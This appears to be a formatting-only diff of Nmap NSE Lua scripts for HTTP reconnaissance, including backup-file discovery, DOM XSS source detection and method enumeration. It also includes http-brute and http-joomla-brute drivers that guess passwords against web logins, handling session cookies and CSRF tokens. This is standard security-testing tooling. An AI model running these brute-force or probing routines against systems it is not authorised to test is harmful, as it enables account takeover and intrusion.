local regex = pcre.new(re, 0, "C") local regex = pcre.new(re, 0, "C")
local limit, limit2, matches = regex:match(body) local limit, limit2, matches = regex:match(body)
if limit ~= nil then if limit ~= nil then
local affiliateid = matches["id"] local affiliateid = matches["id"]
result[#result + 1] = name .. ": " .. affiliateid result[#result + 1] = name .. ": " .. affiliateid
add_key_to_registry(host, port, url_path, result[#result]) add_key_to_registry(host, port, url_path, result[#result])
end end
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
--- iterate over the list of gathered ids and look for related sites (sharing the same siteids) --- iterate over the list of gathered ids and look for related sites (sharing the same siteids)
local function postaction() local function postaction()
local siteids = {} local siteids = {}
local output = {} local output = {}
-- create a reverse mapping affiliate ids -> site(s) -- create a reverse mapping affiliate ids -> site(s)
for site, ids in pairs(nmap.registry["http-affiliate-id"]) do for site, ids in pairs(nmap.registry["http-affiliate-id"]) do
for _, id in ipairs(ids) do for _, id in ipairs(ids) do
if not siteids[id] then if not siteids[id] then
siteids[id] = {} siteids[id] = {}
end end
-- discard duplicate IPs -- discard duplicate IPs
if not stdnse.contains(siteids[id], site) then if not stdnse.contains(siteids[id], site) then
table.insert(siteids[id], site) table.insert(siteids[id], site)
end end
end end
end end
-- look for sites using the same affiliate id -- look for sites using the same affiliate id
for id, sites in pairs(siteids) do for id, sites in pairs(siteids) do
if #siteids[id] > 1 then if #siteids[id] > 1 then
local str = id .. ' used by:' local str = id .. ' used by:'
for _, site in ipairs(siteids[id]) do for _, site in ipairs(siteids[id]) do
str = str .. '\n ' .. site str = str .. '\n ' .. site
end end
table.insert(output, str) table.insert(output, str)
end end
end end
if #output > 0 then if #output > 0 then
return 'Possible related sites\n' .. table.concat(output, '\n') return 'Possible related sites\n' .. table.concat(output, '\n')
end end
end end
local ActionsTable = { local ActionsTable = {
-- portrule: get affiliate ids -- portrule: get affiliate ids
portrule = portaction, portrule = portaction,
-- postrule: look for related sites (same affiliate ids) -- postrule: look for related sites (same affiliate ids)
postrule = postaction postrule = postaction
} }
-- execute the action function corresponding to the current rule -- execute the action function corresponding to the current rule

View File

@@ -47,107 +47,107 @@ categories = {"discovery", "safe"}
portrule = shortport.http portrule = shortport.http
local function backupNames(filename) local function backupNames(filename)
local function createBackupNames() local function createBackupNames()
local dir = filename:match("^(.*/)") or "" local dir = filename:match("^(.*/)") or ""
local basename, suffix = filename:match("([^/]*)%.(.*)$") local basename, suffix = filename:match("([^/]*)%.(.*)$")
local backup_names = {} local backup_names = {}
if basename then if basename then
table.insert(backup_names, "{basename}.bak") -- generic bak file table.insert(backup_names, "{basename}.bak") -- generic bak file
end end
if basename and suffix then if basename and suffix then
table.insert(backup_names, "{basename}.{suffix}~") -- emacs table.insert(backup_names, "{basename}.{suffix}~") -- emacs
table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy table.insert(backup_names, "{basename} copy.{suffix}") -- mac copy
table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy table.insert(backup_names, "Copy of {basename}.{suffix}") -- windows copy
table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy table.insert(backup_names, "Copy (2) of {basename}.{suffix}") -- windows second copy
table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup table.insert(backup_names, "{basename}.{suffix}.1") -- generic backup
table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue table.insert(backup_names, "{basename}.{suffix}.~1~") -- bzr --revert residue
end end
local replace_patterns = { local replace_patterns = {
["{filename}"] = filename, ["{filename}"] = filename,
["{basename}"] = basename, ["{basename}"] = basename,
["{suffix}"] = suffix, ["{suffix}"] = suffix,
} }
for _, name in ipairs(backup_names) do for _, name in ipairs(backup_names) do
local backup_name = name local backup_name = name
for p, v in pairs(replace_patterns) do for p, v in pairs(replace_patterns) do
backup_name = backup_name:gsub(p,v) backup_name = backup_name:gsub(p,v)
end end
coroutine.yield(dir .. backup_name) coroutine.yield(dir .. backup_name)
end end
end end
return coroutine.wrap(createBackupNames) return coroutine.wrap(createBackupNames)
end end
action = function(host, port) action = function(host, port)
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } ) local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(10000) crawler:set_timeout(10000)
local res, res404, known404 = http.identify_404(host, port) local res, res404, known404 = http.identify_404(host, port)
if not res then if not res then
stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME) stdnse.print_debug("%s: Can't identify 404 pages", SCRIPT_NAME)
return nil return nil
end end
local backups = {} local backups = {}
while(true) do while(true) do
local status, r = crawler:crawl() local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons -- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort -- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason) return stdnse.format_output(true, "ERROR: %s", r.reason)
else else
break break
end end
end end
-- parse the returned url -- parse the returned url
local parsed = url.parse(tostring(r.url)) local parsed = url.parse(tostring(r.url))
-- handle case where only hostname was provided -- handle case where only hostname was provided
if ( parsed.path == nil ) then if ( parsed.path == nil ) then
parsed.path = '/' parsed.path = '/'
end end
-- only pursue links that have something looking as a file -- only pursue links that have something looking as a file
if ( parsed.path:match(".*%.*.$") ) then if ( parsed.path:match(".*%.*.$") ) then
-- iterate over possible backup files -- iterate over possible backup files
for link in backupNames(parsed.path) do for link in backupNames(parsed.path) do
local host, port = parsed.host, parsed.port local host, port = parsed.host, parsed.port
-- if no port was found, try to deduce it from the scheme -- if no port was found, try to deduce it from the scheme
if ( not(port) ) then if ( not(port) ) then
port = (parsed.scheme == 'https') and 443 port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80) port = port or ((parsed.scheme == 'http') and 80)
end end
-- the url.escape doesn't work here as it encodes / to %2F -- the url.escape doesn't work here as it encodes / to %2F
-- which results in 400 bad request, so we simple do a space -- which results in 400 bad request, so we simple do a space
-- replacement instead. -- replacement instead.
local escaped_link = link:gsub(" ", "%%20") local escaped_link = link:gsub(" ", "%%20")
-- attempt a HEAD-request against each of the backup files -- attempt a HEAD-request against each of the backup files
local response = http.head(host, port, escaped_link) local response = http.head(host, port, escaped_link)
if http.page_exists(response, res404, known404, escaped_link, true) then if http.page_exists(response, res404, known404, escaped_link, true) then
if ( not(parsed.port) ) then if ( not(parsed.port) ) then
table.insert(backups, table.insert(backups,
("%s://%s%s"):format(parsed.scheme, host, link)) ("%s://%s%s"):format(parsed.scheme, host, link))
else else
table.insert(backups, table.insert(backups,
("%s://%s:%d%s"):format(parsed.scheme, host, port, link)) ("%s://%s:%d%s"):format(parsed.scheme, host, port, link))
end end
end end
end end
end end
end end
if ( #backups > 0 ) then if ( #backups > 0 ) then
backups.name = crawler:getLimitations() backups.name = crawler:getLimitations()
return stdnse.format_output(true, backups) return stdnse.format_output(true, backups)
end end
end end

View File

@@ -61,19 +61,19 @@ Driver = {
return o return o
end, end,
connect = function( self ) connect = function( self )
-- This will cause problems, as ther is no way for us to "reserve" -- This will cause problems, as ther is no way for us to "reserve"
-- a socket. We may end up here early with a set of credentials -- a socket. We may end up here early with a set of credentials
-- which won't be guessed until the end, due to socket exhaustion. -- which won't be guessed until the end, due to socket exhaustion.
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
local response local response
local opts_table local opts_table
if not self.digestauth then if not self.digestauth then
-- we need to supply the no_cache directive, or else the http library -- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successful -- incorrectly tells us that the authentication was successful
opts_table = { auth = { username = username, password = password }, no_cache = true } opts_table = { auth = { username = username, password = password }, no_cache = true }
else else
opts_table = { auth = { username = username, password = password, digest = true }, no_cache = true } opts_table = { auth = { username = username, password = password, digest = true }, no_cache = true }
@@ -86,47 +86,47 @@ Driver = {
return false, err return false, err
end end
-- Checking for ~= 401 *should* work to -- Checking for ~= 401 *should* work to
-- but gave me a number of false positives last time I tried. -- but gave me a number of false positives last time I tried.
-- We decided to change it to ~= 4xx. -- We decided to change it to ~= 4xx.
if ( response.status < 400 or response.status > 499 ) then if ( response.status < 400 or response.status > 499 ) then
if ( not( nmap.registry['credentials'] ) ) then if ( not( nmap.registry['credentials'] ) ) then
nmap.registry['credentials'] = {} nmap.registry['credentials'] = {}
end end
if ( not( nmap.registry.credentials['http'] ) ) then if ( not( nmap.registry.credentials['http'] ) ) then
nmap.registry.credentials['http'] = {} nmap.registry.credentials['http'] = {}
end end
table.insert( nmap.registry.credentials.http, { username = username, password = password } ) table.insert( nmap.registry.credentials.http, { username = username, password = password } )
return true, brute.Account:new( username, password, creds.State.VALID) return true, brute.Account:new( username, password, creds.State.VALID)
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
return true
end,
check = function( self )
return true return true
end, end,
check = function( self )
return true
end,
} }
action = function( host, port ) action = function( host, port )
local status, result local status, result
local path = stdnse.get_script_args("http-brute.path") or "/" local path = stdnse.get_script_args("http-brute.path") or "/"
local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET") local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
if ( not(path) ) then if ( not(path) ) then
return " \n ERROR: No path was specified (see http-brute.path)" return " \n ERROR: No path was specified (see http-brute.path)"
end end
local response = http.generic_request( host, port, method, path, { no_cache = true } ) local response = http.generic_request( host, port, method, path, { no_cache = true } )
if ( response.status ~= 401 ) then if ( response.status ~= 401 ) then
return (" \n Path \"%s\" does not require authentication"):format(path) return (" \n Path \"%s\" does not require authentication"):format(path)
end end
-- check if digest auth is required -- check if digest auth is required
local digestauth = false local digestauth = false

View File

@@ -96,7 +96,7 @@ action = function(host, port)
local min, max, page_test local min, max, page_test
local bulk_start = stdnse.clock_ms() local bulk_start = stdnse.clock_ms()
for i = 1,tries do for i = 1,tries do
local start = stdnse.clock_ms() local start = stdnse.clock_ms()
if ( url_page:match("%?") ) then if ( url_page:match("%?") ) then
page_test = http.get(url_host,port,"/"..url_page.."&test="..math.random(100), { no_cache = true }) page_test = http.get(url_host,port,"/"..url_page.."&test="..math.random(100), { no_cache = true })
else else
@@ -121,7 +121,7 @@ action = function(host, port)
output = tab.new(4) output = tab.new(4)
tab.addrow(output, "page", "avg", "min", "max") tab.addrow(output, "page", "avg", "min", "max")
for _, entry in ipairs(results) do for _, entry in ipairs(results) do
tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max)) tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max))
end end
output = "\n" .. tab.dump(output) output = "\n" .. tab.dump(output)
else else

View File

@@ -57,100 +57,100 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
-- the related comment. -- the related comment.
local getLineNumber = function(body, comment) local getLineNumber = function(body, comment)
local partofresponse = body:find(comment, 1, true) local partofresponse = body:find(comment, 1, true)
partofresponse = body:sub(0, partofresponse) partofresponse = body:sub(0, partofresponse)
local _, count = string.gsub(partofresponse, "\n", "\n") local _, count = string.gsub(partofresponse, "\n", "\n")
return count + 1 return count + 1
end end
action = function(host, port) action = function(host, port)
local context = stdnse.get_script_args("http-comments-displayer.context") local context = stdnse.get_script_args("http-comments-displayer.context")
local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages") local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages")
local comments = {} local comments = {}
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } ) local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
if (not(crawler)) then if (not(crawler)) then
return return
end end
crawler:set_timeout(10000) crawler:set_timeout(10000)
if context then if context then
if (tonumber(context) > 100) then if (tonumber(context) > 100) then
context = 100 context = 100
end
-- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax.
for i, pattern in ipairs(PATTERNS) do
PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context)
end
end end
local index, k, target, response, path -- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax.
while (true) do for i, pattern in ipairs(PATTERNS) do
PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context)
end
end
if singlepages then local index, k, target, response, path
k, target = next(singlepages, index) while (true) do
if (k == nil) then
break
end
response = http.get(host, port, target)
path = target
if singlepages then
k, target = next(singlepages, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
path = target
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else else
local status, r = crawler:crawl() break
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
end
if response.body then
for i, pattern in ipairs(PATTERNS) do
for c in string.gmatch(response.body, pattern) do
local linenumber = getLineNumber(response.body, c)
comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n"
end
end
if (index) then
index = index + 1
else
index = 1
end
end end
end
response = r.response
path = tostring(r.url)
end end
-- If the table is empty. if response.body then
if next(comments) == nil then
return "Couldn't find any comments." for i, pattern in ipairs(PATTERNS) do
for c in string.gmatch(response.body, pattern) do
local linenumber = getLineNumber(response.body, c)
comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n"
end
end
if (index) then
index = index + 1
else
index = 1
end
end end
-- Create a nice output. end
local results = {}
for c, _ in pairs(comments) do
table.insert(results, {_, {{c}}})
end
results.name = crawler:getLimitations() -- If the table is empty.
if next(comments) == nil then
return "Couldn't find any comments."
end
return stdnse.format_output(true, results) -- Create a nice output.
local results = {}
for c, _ in pairs(comments) do
table.insert(results, {_, {{c}}})
end
results.name = crawler:getLimitations()
return stdnse.format_output(true, results)
end end

View File

@@ -78,70 +78,70 @@ end
action = function(host, port) action = function(host, port)
local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua") local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua")
local rapid = stdnse.get_script_args("http-devframework.rapid") local rapid = stdnse.get_script_args("http-devframework.rapid")
local d local d
-- Run rapidDetect() callbacks. -- Run rapidDetect() callbacks.
for f, method in pairs(tools) do for f, method in pairs(tools) do
d = method["rapidDetect"](host, port) d = method["rapidDetect"](host, port)
if d then
return d
end
end
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 40,
maxdepth = -1,
withinhost = 1
})
if rapid then
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
end
crawler.options.doscraping = function(url)
if crawler:iswithinhost(url)
and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then
return true
end
end
crawler:set_timeout(10000)
while (true) do
local response, path
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
if (response.body) then
-- Run consumingDetect() callbacks.
for f, method in pairs(tools) do
d = method["consumingDetect"](response.body, path)
if d then if d then
return d return d
end end
end
end end
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 40,
maxdepth = -1,
withinhost = 1
})
if rapid then
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
end
crawler.options.doscraping = function(url)
if crawler:iswithinhost(url)
and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then
return true
end
end
crawler:set_timeout(10000)
while (true) do
local response, path
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
if (response.body) then
-- Run consumingDetect() callbacks.
for f, method in pairs(tools) do
d = method["consumingDetect"](response.body, path)
if d then
return d
end
end
end
return "Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages." return "Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages."
end end
end end

View File

@@ -67,84 +67,84 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
action = function(host, port) action = function(host, port)
local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages") local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages")
local domxss = {} local domxss = {}
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } ) local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
if (not(crawler)) then if (not(crawler)) then
return return
end end
crawler:set_timeout(10000) crawler:set_timeout(10000)
local index, k, target, response, path local index, k, target, response, path
while (true) do while (true) do
if singlepages then if singlepages then
k, target = next(singlepages, index) k, target = next(singlepages, index)
if (k == nil) then if (k == nil) then
break break
end end
response = http.get(host, port, target) response = http.get(host, port, target)
path = target path = target
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else else
local status, r = crawler:crawl() break
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
end
if response.body then
for _, fp in ipairs(JS_FUNC_PATTERNS) do
for i in string.gmatch(response.body, fp) do
for _, cp in ipairs(JS_CALLS_PATTERNS) do
if string.find(i, cp) then
if not domxss[i] then
domxss[i] = {path}
else
table.insert(domxss[i], ", " .. path)
end
end
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end end
end
response = r.response
path = tostring(r.url)
end end
-- If the table is empty. if response.body then
if next(domxss) == nil then
return "Couldn't find any DOM based XSS." for _, fp in ipairs(JS_FUNC_PATTERNS) do
for i in string.gmatch(response.body, fp) do
for _, cp in ipairs(JS_CALLS_PATTERNS) do
if string.find(i, cp) then
if not domxss[i] then
domxss[i] = {path}
else
table.insert(domxss[i], ", " .. path)
end
end
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end end
local results = {} end
for x, _ in pairs(domxss) do
table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) })
end
table.insert(results, 1, "Found the following indications of potential DOM based XSS: ") -- If the table is empty.
if next(domxss) == nil then
return "Couldn't find any DOM based XSS."
end
results.name = crawler:getLimitations() local results = {}
for x, _ in pairs(domxss) do
table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) })
end
return stdnse.format_output(true, results) table.insert(results, 1, "Found the following indications of potential DOM based XSS: ")
results.name = crawler:getLimitations()
return stdnse.format_output(true, results)
end end

View File

@@ -47,86 +47,86 @@ local httpspider = require "httpspider"
portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open") portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
local function compare(a, b) local function compare(a, b)
return a[1] < b[1] return a[1] < b[1]
end end
local function inTable(tbl, item) local function inTable(tbl, item)
item = tostring(item) item = tostring(item)
for key, value in pairs(tbl) do for key, value in pairs(tbl) do
if value == tostring(item) then if value == tostring(item) then
return true return true
end
end end
return nil end
return nil
end end
action = function(host, port) action = function(host, port)
local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = 40, maxpagecount = 40,
maxdepth = -1, maxdepth = -1,
withinhost = 1 withinhost = 1
}) })
crawler.options.doscraping = function(url) crawler.options.doscraping = function(url)
if crawler:iswithinhost(url) if crawler:iswithinhost(url)
and not crawler:isresource(url, "js") and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then and not crawler:isresource(url, "css") then
return true return true
end end
end
crawler:set_timeout(10000)
local errors = {}
while (true) do
local response, path
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end end
crawler:set_timeout(10000) response = r.response
path = tostring(r.url)
local errors = {}
while (true) do
local response, path
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
if (response.status >= 400 and not errcodes) or
( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then
table.insert(errors, { tostring(response.status), path })
end
if (response.status >= 400 and not errcodes) or
( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then
table.insert(errors, { tostring(response.status), path })
end end
-- If the table is empty. end
if next(errors) == nil then
return "Couldn't find any error pages."
end
table.sort(errors, compare) -- If the table is empty.
if next(errors) == nil then
return "Couldn't find any error pages."
end
-- Create a nice output. table.sort(errors, compare)
local results = {}
for c, _ in pairs(errors) do
table.insert(results, "\nError Code: " .. _[1])
table.insert(results, "\t" .. _[2])
end
table.insert(results, 1, "Found the following error pages: ") -- Create a nice output.
local results = {}
for c, _ in pairs(errors) do
table.insert(results, "\nError Code: " .. _[1])
table.insert(results, "\t" .. _[2])
end
results.name = crawler:getLimitations() table.insert(results, 1, "Found the following error pages: ")
return stdnse.format_output(true, results) results.name = crawler:getLimitations()
return stdnse.format_output(true, results)
end end

View File

@@ -37,9 +37,9 @@ Joomla's default uri and form names:
-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php -- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
-- @args http-joomla-brute.hostname Virtual Hostname Header -- @args http-joomla-brute.hostname Virtual Hostname Header
-- @args http-joomla-brute.uservar sets the http-variable name that holds the -- @args http-joomla-brute.uservar sets the http-variable name that holds the
-- username used to authenticate. Default: username -- username used to authenticate. Default: username
-- @args http-joomla-brute.passvar sets the http-variable name that holds the -- @args http-joomla-brute.passvar sets the http-variable name that holds the
-- password used to authenticate. Default: passwd -- password used to authenticate. Default: passwd
-- @args http-joomla-brute.threads sets the number of threads. Default: 3 -- @args http-joomla-brute.threads sets the number of threads. Default: 3
-- --
-- Other useful arguments when using this script are: -- Other useful arguments when using this script are:
@@ -79,19 +79,19 @@ Driver = {
o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
o.port = port o.port = port
o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
o.options = options o.options = options
return o return o
end, end,
connect = function( self ) connect = function( self )
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token) stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil, local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
{ [self.options.uservar] = username, [self.options.passvar] = password, { [self.options.uservar] = username, [self.options.passvar] = password,
[security_token] = 1, lang = "", option = "com_login", task = "login" } ) [security_token] = 1, lang = "", option = "com_login", task = "login" } )
if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
stdnse.print_debug(2, "Response:\n%s", response.body) stdnse.print_debug(2, "Response:\n%s", response.body)
@@ -100,22 +100,22 @@ Driver = {
return true, brute.Account:new( username, password, "OPEN") return true, brute.Account:new( username, password, "OPEN")
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
return true return true
end, end,
check = function( self ) check = function( self )
local response = http.get( self.host, self.port, self.uri ) local response = http.get( self.host, self.port, self.uri )
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri) stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
-- Check if password field is there -- Check if password field is there
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
stdnse.print_debug(1, "Initial check passed. Launching brute force attack") stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"]; session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
if response.body then if response.body then
local _ local _
_, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />') _, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
end end
if security_token then if security_token then
stdnse.print_debug(2, "Security Token found:%s", security_token) stdnse.print_debug(2, "Security Token found:%s", security_token)
@@ -124,12 +124,12 @@ Driver = {
return false return false
end end
return true return true
else else
stdnse.print_debug(1, "Initial check failed. Password field wasn't found") stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
end end
return false return false
end end
} }
--- ---

View File

@@ -55,7 +55,7 @@ categories = {"default", "safe"}
-- We don't report these methods except with verbosity. -- We don't report these methods except with verbosity.
local UNINTERESTING_METHODS = { local UNINTERESTING_METHODS = {
"GET", "HEAD", "POST", "OPTIONS" "GET", "HEAD", "POST", "OPTIONS"
} }
local filter_out, merge_headers local filter_out, merge_headers
@@ -63,92 +63,92 @@ local filter_out, merge_headers
portrule = shortport.http portrule = shortport.http
action = function(host, port) action = function(host, port)
local url_path, retest_http_methods local url_path, retest_http_methods
local response, methods, options_status_line, output local response, methods, options_status_line, output
-- default vaules for script-args -- default vaules for script-args
url_path = stdnse.get_script_args("http-methods.url-path") or "/" url_path = stdnse.get_script_args("http-methods.url-path") or "/"
retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil
response = http.generic_request(host, port, "OPTIONS", url_path) response = http.generic_request(host, port, "OPTIONS", url_path)
if not response.status then if not response.status then
stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path) stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path)
return return
end end
-- Cache in case retest is requested. -- Cache in case retest is requested.
options_status_line = response["status-line"] options_status_line = response["status-line"]
stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status) stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status)
if not (response.header["allow"] or response.header["public"]) then if not (response.header["allow"] or response.header["public"]) then
return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status) return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status)
end end
-- The Public header is defined in RFC 2068, but was removed in its -- The Public header is defined in RFC 2068, but was removed in its
-- successor RFC 2616. It is implemented by at least IIS 6.0. -- successor RFC 2616. It is implemented by at least IIS 6.0.
methods = merge_headers(response.header, {"Allow", "Public"}) methods = merge_headers(response.header, {"Allow", "Public"})
output = {} output = {}
if nmap.verbosity() > 0 then if nmap.verbosity() > 0 then
output[#output + 1] = stdnse.strjoin(" ", methods) output[#output + 1] = stdnse.strjoin(" ", methods)
end end
local interesting = filter_out(methods, UNINTERESTING_METHODS) local interesting = filter_out(methods, UNINTERESTING_METHODS)
if #interesting > 0 then if #interesting > 0 then
output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting) output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting)
output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html" output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html"
end end
-- retest http methods if requested -- retest http methods if requested
if retest_http_methods then if retest_http_methods then
local _ local _
for _, method in ipairs(methods) do for _, method in ipairs(methods) do
local str local str
if method == "OPTIONS" then if method == "OPTIONS" then
-- Use the saved value. -- Use the saved value.
str = options_status_line str = options_status_line
else else
response = http.generic_request(host, port, method, url_path) response = http.generic_request(host, port, method, url_path)
if not response.status then if not response.status then
str = "Error getting response" str = "Error getting response"
else else
str = response["status-line"] str = response["status-line"]
end end
end end
output[#output + 1] = string.format("%s %s -> %s", method, url_path, str) output[#output + 1] = string.format("%s %s -> %s", method, url_path, str)
end end
end end
return #output > 0 and stdnse.strjoin("\n", output) or nil return #output > 0 and stdnse.strjoin("\n", output) or nil
end end
function filter_out(t, filter) function filter_out(t, filter)
local result = {} local result = {}
local _, e, f local _, e, f
for _, e in ipairs(t) do for _, e in ipairs(t) do
if not stdnse.contains(filter, e) then if not stdnse.contains(filter, e) then
result[#result + 1] = e result[#result + 1] = e
end end
end end
return result return result
end end
-- Split header field contents on commas and return a table without duplicates. -- Split header field contents on commas and return a table without duplicates.
